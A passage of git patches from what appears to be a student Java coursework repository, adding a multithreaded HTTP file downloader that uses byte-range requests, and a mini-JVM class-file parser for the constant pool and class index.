index b74298d33f..222814666f 100644
--- a/group04/498654356/one/pom.xml
+++ b/group04/498654356/one/pom.xml
@@ -40,6 +40,11 @@
 		    <artifactId>dom4j</artifactId>
 		    <version>1.6.1</version>
 		</dependency>
-
+	    <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-lang3 -->
+		<dependency>
+		    <groupId>org.apache.commons</groupId>
+		    <artifactId>commons-lang3</artifactId>
+		    <version>3.4</version>
+		</dependency>
   </dependencies>
 </project>
\ No newline at end of file

From 32963484d21c8f94ebf9f086b17a65a29c240322 Mon Sep 17 00:00:00 2001
From: "[skycobo]" <[1323434545@qq.com]>
Date: Sat, 8 Apr 2017 18:29:18 +0800
Subject: [PATCH 050/262] =?UTF-8?q?[=E8=8F=A0=E8=90=9DC]:=E6=8F=90?=
 =?UTF-8?q?=E4=BA=A4=E5=A4=9A=E7=BA=BF=E7=A8=8B=E4=B8=8B=E8=BD=BD=E5=99=A8?=
 =?UTF-8?q?=E7=9A=84=E4=BD=9C=E4=B8=9A!?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../02_downloader/src/api/Connection.java     | 23 ++++++
 .../src/api/ConnectionException.java          |  6 ++
 .../src/api/ConnectionManager.java            | 10 +++
 .../src/api/DownloadListener.java             |  5 ++
 .../src/impl/ConnectionImpl.java              | 54 +++++++++++++
 .../src/impl/ConnectionManagerImpl.java       | 16 ++++
 .../src/main/DownloadThread.java              | 50 ++++++++++++
 .../src/main/FileDownloader.java              | 78 +++++++++++++++++++
 .../src/test/DownloaderTest.java              | 21 +++++
 .../work_Big/02_temp/src/main/Test.java       |  5 --
 10 files changed, 263 insertions(+), 5 deletions(-)
 create mode 100644 group23/1323434545/work_Big/02_downloader/src/api/Connection.java
 create mode 100644 group23/1323434545/work_Big/02_downloader/src/api/ConnectionException.java
 create mode 100644 group23/1323434545/work_Big/02_downloader/src/api/ConnectionManager.java
 create mode 100644 group23/1323434545/work_Big/02_downloader/src/api/DownloadListener.java
 create mode 100644 group23/1323434545/work_Big/02_downloader/src/impl/ConnectionImpl.java
 create mode 100644 group23/1323434545/work_Big/02_downloader/src/impl/ConnectionManagerImpl.java
 create mode 100644 group23/1323434545/work_Big/02_downloader/src/main/DownloadThread.java
 create mode 100644 group23/1323434545/work_Big/02_downloader/src/main/FileDownloader.java
 create mode 100644 group23/1323434545/work_Big/02_downloader/src/test/DownloaderTest.java
 delete mode 100644 group23/1323434545/work_Big/02_temp/src/main/Test.java

diff --git a/group23/1323434545/work_Big/02_downloader/src/api/Connection.java b/group23/1323434545/work_Big/02_downloader/src/api/Connection.java
new file mode 100644
index 0000000000..5b41847037
--- /dev/null
+++ b/group23/1323434545/work_Big/02_downloader/src/api/Connection.java
@@ -0,0 +1,23 @@
+package api;
+
+import java.io.IOException;
+
+public interface Connection {
+	/**
+	 * 给定开始和结束位置， 读取数据， 返回值是字节数组
+	 * @param startPos 开始位置， 从0开始
+	 * @param endPos 结束位置
+	 * @return
+	 */
+	public byte[] read(int startPos,int endPos) throws IOException;
+	/**
+	 * 得到数据内容的长度
+	 * @return
+	 */
+	public int getContentLength();
+	
+	/**
+	 * 关闭连接
+	 */
+	public void close();
+}
diff --git a/group23/1323434545/work_Big/02_downloader/src/api/ConnectionException.java b/group23/1323434545/work_Big/02_downloader/src/api/ConnectionException.java
new file mode 100644
index 0000000000..8840863aba
--- /dev/null
+++ b/group23/1323434545/work_Big/02_downloader/src/api/ConnectionException.java
@@ -0,0 +1,6 @@
+package api;
+
+@SuppressWarnings("serial")
+public class ConnectionException extends Exception{
+
+}
diff --git a/group23/1323434545/work_Big/02_downloader/src/api/ConnectionManager.java b/group23/1323434545/work_Big/02_downloader/src/api/ConnectionManager.java
new file mode 100644
index 0000000000..4f297a48ef
--- /dev/null
+++ b/group23/1323434545/work_Big/02_downloader/src/api/ConnectionManager.java
@@ -0,0 +1,10 @@
+package api;
+
+public interface ConnectionManager {
+	/**
+	 * 给定一个url , 打开一个连接
+	 * @param url
+	 * @return
+	 */
+	public Connection open(String url) throws ConnectionException;	
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Big/02_downloader/src/api/DownloadListener.java b/group23/1323434545/work_Big/02_downloader/src/api/DownloadListener.java
new file mode 100644
index 0000000000..e652867321
--- /dev/null
+++ b/group23/1323434545/work_Big/02_downloader/src/api/DownloadListener.java
@@ -0,0 +1,5 @@
+package api;
+
+public interface DownloadListener {
+	public void notifyFinished();
+}
diff --git a/group23/1323434545/work_Big/02_downloader/src/impl/ConnectionImpl.java b/group23/1323434545/work_Big/02_downloader/src/impl/ConnectionImpl.java
new file mode 100644
index 0000000000..0764117f5b
--- /dev/null
+++ b/group23/1323434545/work_Big/02_downloader/src/impl/ConnectionImpl.java
@@ -0,0 +1,54 @@
+package impl;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.URL;
+
+import api.Connection;
+
+public class ConnectionImpl implements Connection{
+	private HttpURLConnection huConn;
+	
+
+	public ConnectionImpl(String url) {
+		try {
+			huConn = (HttpURLConnection) new URL(url).openConnection();
+		} catch (MalformedURLException e) {
+			e.printStackTrace();
+		} catch (IOException e) {
+			e.printStackTrace();
+		}
+	}
+		
+
+	@Override
+	public byte[] read(int startPos, int endPos) throws IOException {
+		huConn.setRequestProperty("Range", "bytes=" + startPos + "-" + endPos);
+		ByteArrayOutputStream os = new ByteArrayOutputStream();
+		BufferedInputStream bis = new BufferedInputStream(huConn.getInputStream());
+		int len =0;
+		byte[] bytes = new byte[1024];
+		while((len=bis.read(bytes))!=-1){
+			os.write(bytes, 0, len);
+		}
+		os.flush();
+		return os.toByteArray();
+	}
+
+	@Override
+	public int getContentLength() {
+		return huConn.getContentLength();
+	}
+
+	@Override
+	public void close() {
+		if(null!=huConn){
+			huConn.disconnect();
+		}
+		
+	}
+
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Big/02_downloader/src/impl/ConnectionManagerImpl.java b/group23/1323434545/work_Big/02_downloader/src/impl/ConnectionManagerImpl.java
new file mode 100644
index 0000000000..96f461422d
--- /dev/null
+++ b/group23/1323434545/work_Big/02_downloader/src/impl/ConnectionManagerImpl.java
@@ -0,0 +1,16 @@
+package impl;
+
+
+
+import api.Connection;
+import api.ConnectionException;
+import api.ConnectionManager;
+
+public class ConnectionManagerImpl implements ConnectionManager {
+
+	@Override
+	public Connection open(String url) {
+		return new ConnectionImpl(url);
+	}
+
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Big/02_downloader/src/main/DownloadThread.java b/group23/1323434545/work_Big/02_downloader/src/main/DownloadThread.java
new file mode 100644
index 0000000000..84b17f6c9d
--- /dev/null
+++ b/group23/1323434545/work_Big/02_downloader/src/main/DownloadThread.java
@@ -0,0 +1,50 @@
+package main;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.util.concurrent.CyclicBarrier;
+
+import api.Connection;
+
+public class DownloadThread extends Thread{
+
+	Connection conn;
+	int startPos;
+	int endPos;
+	File saveLocation;
+	CyclicBarrier barrier;
+
+	public DownloadThread( Connection conn, int startPos, int endPos,File saveLocation,CyclicBarrier barrier){
+		this.conn = conn;		
+		this.startPos = startPos;
+		this.endPos = endPos;
+		this.saveLocation = saveLocation;
+		this.barrier = barrier;
+	}
+
+	@Override
+	public void run() {
+		RandomAccessFile rf = null;
+		try {
+			rf = new RandomAccessFile(saveLocation,"rw");
+			rf.seek(startPos);
+			rf.write(conn.read(startPos, endPos));
+			barrier.await();
+		}catch (Exception e) {
+			e.printStackTrace();
+		}finally {
+			if(null!=rf){
+				try {
+					rf.close();
+				} catch (IOException e) {
+					e.printStackTrace();
+				}
+			}
+			if(null!=conn){
+				conn.close();
+			}
+			
+		}
+	}
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Big/02_downloader/src/main/FileDownloader.java b/group23/1323434545/work_Big/02_downloader/src/main/FileDownloader.java
new file mode 100644
index 0000000000..64a0f61741
--- /dev/null
+++ b/group23/1323434545/work_Big/02_downloader/src/main/FileDownloader.java
@@ -0,0 +1,78 @@
+package main;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.RandomAccessFile;
+import java.util.concurrent.CyclicBarrier;
+
+import api.Connection;
+import api.ConnectionException;
+import api.ConnectionManager;
+import api.DownloadListener;
+import impl.ConnectionManagerImpl;
+
+public class FileDownloader {
+	
+	String url;
+	File saveLocation;
+	
+	DownloadListener listener;
+	
+	ConnectionManager cm;
+	
+
+	public FileDownloader(String url,File saveLocation) {
+		this.url = url;
+		this.saveLocation = saveLocation;
+	}
+	
+	
+	public void execute() throws ConnectionException{
+		// 在这里实现你的代码， 注意： 需要用多线程实现下载
+		// 这个类依赖于其他几个接口, 你需要写这几个接口的实现代码
+		// (1) ConnectionManager , 可以打开一个连接，通过Connection可以读取其中的一段（用startPos, endPos来指定）
+		// (2) DownloadListener, 由于是多线程下载， 调用这个类的客户端不知道什么时候结束，所以你需要实现当所有
+		//     线程都执行完以后， 调用listener的notifiedFinished方法， 这样客户端就能收到通知。
+		// 具体的实现思路：
+		// 1. 需要调用ConnectionManager的open方法打开连接， 然后通过Connection.getContentLength方法获得文件的长度
+		// 2. 至少启动3个线程下载，  注意每个线程需要先调用ConnectionManager的open方法
+		// 然后调用read方法， read方法中有读取文件的开始位置和结束位置的参数， 返回值是byte[]数组
+		// 3. 把byte数组写入到文件中
+		// 4. 所有的线程都下载完成以后， 需要调用listener的notifiedFinished方法
+		
+		// 下面的代码是示例代码， 也就是说只有一个线程， 你需要改造成多线程的。
+		
+		cm = new ConnectionManagerImpl();
+		int length = cm.open(this.url).getContentLength();
+		System.out.println("文件长度:"+length);
+		long time = System.currentTimeMillis();
+		CyclicBarrier barrier = new CyclicBarrier(3, new Runnable() {
+			@Override
+			public void run() {
+				listener.notifyFinished();
+				System.out.println("耗时:"+(System.currentTimeMillis()-time)/1000+"秒");
+			}
+		});
+		
+		new DownloadThread(cm.open(this.url),0,length/3-1,saveLocation,barrier).start();
+		new DownloadThread(cm.open(this.url),length/3,length*2/3-1,saveLocation,barrier).start();
+		new DownloadThread(cm.open(this.url),length*2/3,length-1,saveLocation,barrier).start();
+	}
+	
+	public void setListener(DownloadListener listener) {
+		this.listener = listener;
+	}
+
+	
+	
+	public void setConnectionManager(ConnectionManager ucm){
+		this.cm = ucm;
+	}
+	
+	public DownloadListener getListener(){
+		return this.listener;
+	}
+	
+	
+}
\ No newline at end of file
diff --git a/group23/1323434545/work_Big/02_downloader/src/test/DownloaderTest.java b/group23/1323434545/work_Big/02_downloader/src/test/DownloaderTest.java
new file mode 100644
index 0000000000..220c23d57e
--- /dev/null
+++ b/group23/1323434545/work_Big/02_downloader/src/test/DownloaderTest.java
@@ -0,0 +1,21 @@
+package test;
+
+import java.io.File;
+
+import api.ConnectionException;
+import api.DownloadListener;
+import main.FileDownloader;
+
+public class DownloaderTest {
+	public static void main(String[] args) throws ConnectionException {
+		FileDownloader fd = new FileDownloader("http://mirror.bit.edu.cn/apache/tomcat/tomcat-8/v8.5.13/bin/apache-tomcat-8.5.13.exe",new File("E:\\tomcat.exe"));
+		fd.setListener(new DownloadListener() {
+			@Override
+			public void notifyFinished() {
+				System.out.println("下载完了!");
+			}
+		});
+		fd.execute();
+	}
+
+}
diff --git a/group23/1323434545/work_Big/02_temp/src/main/Test.java b/group23/1323434545/work_Big/02_temp/src/main/Test.java
deleted file mode 100644
index e4585146a0..0000000000
--- a/group23/1323434545/work_Big/02_temp/src/main/Test.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package main;
-
-public class Test {
-
-}

From 2dbc5d05ebb4773137fc94dd4bb84415cdb8d979 Mon Sep 17 00:00:00 2001
From: Administrator <Administrator@win-10>
Date: Sun, 9 Apr 2017 00:35:47 +0800
Subject: [PATCH 051/262] add ConstantPool classIndex

---
 .../com/coderising/jvm/clz/ClassFile.java     |  50 +++++++
 .../com/coderising/jvm/clz/ClassIndex.java    |  25 ++++
 .../coderising/jvm/constant/ClassInfo.java    |  22 +++
 .../coderising/jvm/constant/ConstantInfo.java |   5 +
 .../coderising/jvm/constant/ConstantPool.java |  30 ++++
 .../coderising/jvm/constant/FieldRefInfo.java |  18 +++
 .../jvm/constant/MethodRefInfo.java           |  21 +++
 .../jvm/constant/NULLConstantInfo.java        |   5 +
 .../jvm/constant/NameAndTypeInfo.java         |  18 +++
 .../coderising/jvm/constant/StringInfo.java   |  15 ++
 .../com/coderising/jvm/constant/UTF8Info.java |  15 ++
 .../jvm/loader/ByteCodeIterator.java          |  57 ++++++++
 .../jvm/loader/ClassFileLoader.java           |   9 ++
 .../jvm/loader/ClassFileParser.java           |  80 +++++++++++
 .../jvm/test/ClassFileloaderTest.java         | 128 ++++++++++++++++--
 15 files changed, 485 insertions(+), 13 deletions(-)
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassIndex.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ClassInfo.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ConstantInfo.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ConstantPool.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/FieldRefInfo.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/MethodRefInfo.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/NULLConstantInfo.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/StringInfo.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/UTF8Info.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileParser.java

diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..3440fd5fc7
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,50 @@
+package com.coderising.jvm.clz;
+
+import com.coderising.jvm.constant.ConstantPool;
+
+public class ClassFile {
+
+	private int minorVersion;
+	private int MajorVersion;
+	private ConstantPool constantPool;
+	private ClassIndex classIndex;
+	
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+
+	public int getMajorVersion() {
+		return MajorVersion;
+	}
+
+	public void setMajorVersion(int majorVersion) {
+		MajorVersion = majorVersion;
+	}
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+
+	public void setConstantPool(ConstantPool constantPool) {
+		this.constantPool = constantPool;
+	}
+
+	public void print() {
+		// TODO Auto-generated method stub
+		throw new RuntimeException("no implement");
+	}
+
+	public ClassIndex getClzIndex() {
+		return classIndex;
+	}
+
+	public void setClassIndex(ClassIndex classIndex) {
+		this.classIndex = classIndex;
+	}
+
+	
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassIndex.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassIndex.java
new file mode 100644
index 0000000000..1beb4f390f
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+	public ClassIndex(int thisClassIndex, int superClassIndex) {
+		super();
+		this.thisClassIndex = thisClassIndex;
+		this.superClassIndex = superClassIndex;
+	}
+	
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ClassInfo.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..4cc095b23a
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo{
+	
+	private int nameIndex;
+	private ConstantPool constantPool;
+
+	public ClassInfo(int nameIndex, ConstantPool constantPool) {
+		super();
+		this.nameIndex = nameIndex;
+		this.constantPool = constantPool;
+	}
+
+	public int getUtf8Index() {
+		return this.nameIndex;
+	}
+
+	public String getClassName() {
+		return ((UTF8Info)this.constantPool.getConstantInfo(this.nameIndex)).getValue();
+	}
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ConstantInfo.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..da5b29ee74
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,5 @@
+package com.coderising.jvm.constant;
+
+public class ConstantInfo {
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ConstantPool.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..da83d88297
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	public static final int C_UTF8_INFO = 1;
+	public static final int C_CLASS_INFO = 7;
+	public static final int C_STRING_INFO = 8;
+	public static final int C_FIELDREF_INFO = 9;
+	public static final int C_METHODREF_INFO = 10;
+	public static final int C_NAME_AND_TYPE_INFO = 12;
+	private int size;
+	private List<ConstantInfo> constantInfosList = new ArrayList<>();
+	
+	public void setSize(int size) {
+		this.size = size;
+	}
+	public int getSize() {
+		return this.size;
+	}
+
+	public ConstantInfo getConstantInfo(int i) {
+		return this.constantInfosList.get(i);
+	}
+
+	public void addConstantInfo(ConstantInfo constantInfo) {
+		this.constantInfosList.add(constantInfo);
+	}
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/FieldRefInfo.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..141d8ddbfa
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,18 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo {
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	public FieldRefInfo(int classInfoIndex, int nameAndTypeIndex) {
+		super();
+		this.classInfoIndex = classInfoIndex;
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/MethodRefInfo.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..867c837e6c
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,21 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+
+	public MethodRefInfo(int classInfoIndex, int nameAndTypeIndex) {
+		super();
+		this.classInfoIndex = classInfoIndex;
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+
+	public int getClassInfoIndex() {
+		return this.classInfoIndex;
+	}
+
+	public int getNameAndTypeIndex() {
+		return this.nameAndTypeIndex;
+	}
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/NULLConstantInfo.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/NULLConstantInfo.java
new file mode 100644
index 0000000000..1fcba5f15d
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/NULLConstantInfo.java
@@ -0,0 +1,5 @@
+package com.coderising.jvm.constant;
+
+public class NULLConstantInfo extends ConstantInfo {
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/NameAndTypeInfo.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..8e1f2231ed
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,18 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo {
+	private int index1;
+	private int index2;
+	public NameAndTypeInfo(int index1, int index2) {
+		super();
+		this.index1 = index1;
+		this.index2 = index2;
+	}
+	public int getIndex1() {
+		return index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/StringInfo.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..7bc54c28d9
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,15 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo {
+	private int stringIndex;
+
+	public StringInfo(int stringIndex) {
+		super();
+		this.stringIndex = stringIndex;
+	}
+
+	public int getStringIndex() {
+		return stringIndex;
+	}
+	
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/UTF8Info.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..c25bba86e3
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,15 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private String value;
+	
+	public UTF8Info(String value) {
+		super();
+		this.value = value;
+	}
+
+	public String getValue() {
+		return this.value;
+	}
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..e4afbc62bc
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,57 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+import java.util.Arrays;
+
+public class ByteCodeIterator {
+	private byte[] codes;
+	private int index;
+
+	public ByteCodeIterator(byte[] codes) {
+		super();
+		this.codes = codes;
+	}
+
+	
+	public void skip(int index) {
+		this.index = index;
+	}
+
+
+	public int next2ByteToInt() {
+		return converToInt(codes[index++],codes[index++]);
+	}
+
+	public int next1ByteToInt() {
+		return converToInt(codes[index++]);
+	}
+
+	/**
+	 * big-endian
+	 */
+	private int converToInt(byte ... bs) {
+		int result = 0;
+		for(int size = bs.length, index = 0; size > 0; size--, index++) {
+			if(size == 1) {
+				result += bs[index] & 0xFF;	//符号位
+			} else {
+				result += bs[index] << ((size -1) * 8);
+			}
+		}
+		return result;
+	}
+
+
+	public String nextLengthByteToString(int length) {
+		byte[] bytes = Arrays.copyOfRange(codes, index, index + length);
+		String str = null;
+		try {
+			str = new String(bytes, "UTF-8");
+			index += length;
+		} catch (UnsupportedEncodingException e) {
+			e.printStackTrace();
+		}
+		return str;
+	}
+	
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
index cb558c3bc4..1f3b8e8b95 100644
--- a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileLoader.java
@@ -8,6 +8,8 @@
 import org.apache.commons.io.IOUtils;
 import org.apache.commons.lang3.StringUtils;
 
+import com.coderising.jvm.clz.ClassFile;
+
 
 
 public class ClassFileLoader {
@@ -51,5 +53,12 @@ public void addClassPath(String path) {
 	public String getClassPath(){
 		return StringUtils.join(clzPaths, ";");
 	}
+
+
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+	}
 	
 }
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileParser.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..cb74447d1f
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,80 @@
+package com.coderising.jvm.loader;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NULLConstantInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+		if(codes == null || codes.length == 0){
+			throw new RuntimeException("illegality byteCode");
+		}
+		ByteCodeIterator it = new ByteCodeIterator(codes);
+		ClassFile clzFile = new ClassFile();
+		it.skip(4);
+		clzFile.setMinorVersion(it.next2ByteToInt());
+		clzFile.setMajorVersion(it.next2ByteToInt());
+		
+		//constant_pool
+		int poolCount = it.next2ByteToInt() - 1;
+		ConstantPool constantPool = new ConstantPool();
+		constantPool.setSize(poolCount);
+		constantPool.addConstantInfo(new NULLConstantInfo());
+		while(poolCount > 0) {
+			int tag = it.next1ByteToInt();
+			if(tag == ConstantPool.C_CLASS_INFO) {
+				int nameIndex = it.next2ByteToInt();
+				ClassInfo classInfo = new ClassInfo(nameIndex, constantPool);
+				constantPool.addConstantInfo(classInfo);
+			} else if(tag == ConstantPool.C_UTF8_INFO) {
+				int length = it.next2ByteToInt();
+				String str = it.nextLengthByteToString(length);
+				UTF8Info utf8Info = new UTF8Info(str);
+				constantPool.addConstantInfo(utf8Info);
+			} else if(tag == ConstantPool.C_METHODREF_INFO) {
+				int classInfoIndex = it.next2ByteToInt();
+				int nameAndTypeIndex = it.next2ByteToInt();
+				MethodRefInfo methodRefInfo = new MethodRefInfo(classInfoIndex, nameAndTypeIndex);
+				constantPool.addConstantInfo(methodRefInfo);
+			} else if(tag == ConstantPool.C_NAME_AND_TYPE_INFO) {
+				int index1 = it.next2ByteToInt();
+				int index2 = it.next2ByteToInt();
+				NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(index1 , index2);
+				constantPool.addConstantInfo(nameAndTypeInfo);
+			} else if(tag == ConstantPool.C_FIELDREF_INFO) {
+				int classInfoIndex = it.next2ByteToInt();
+				int nameAndTypeIndex = it.next2ByteToInt();
+				FieldRefInfo fieldRefInfo = new FieldRefInfo(classInfoIndex, nameAndTypeIndex) ;
+				constantPool.addConstantInfo(fieldRefInfo);
+			} else if(tag == ConstantPool.C_STRING_INFO) {
+				int index = it.next2ByteToInt();
+				StringInfo stringInfo = new StringInfo(index);
+				constantPool.addConstantInfo(stringInfo);
+			} else {
+				throw new RuntimeException("no implement tag = " + tag);
+			}
+			poolCount--;
+		}
+		clzFile.setConstantPool(constantPool);
+		
+		//access_flag TODO
+		it.next2ByteToInt();
+		
+		//classIndex
+		int thisClassIndex = it.next2ByteToInt();
+		int superClassIndex = it.next2ByteToInt();
+		ClassIndex classIndex = new ClassIndex(thisClassIndex, superClassIndex);
+		clzFile.setClassIndex(classIndex);
+		
+		return clzFile;
+	}
+
+}
diff --git a/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java b/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
index 3f4a585db7..6701f3cd29 100644
--- a/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
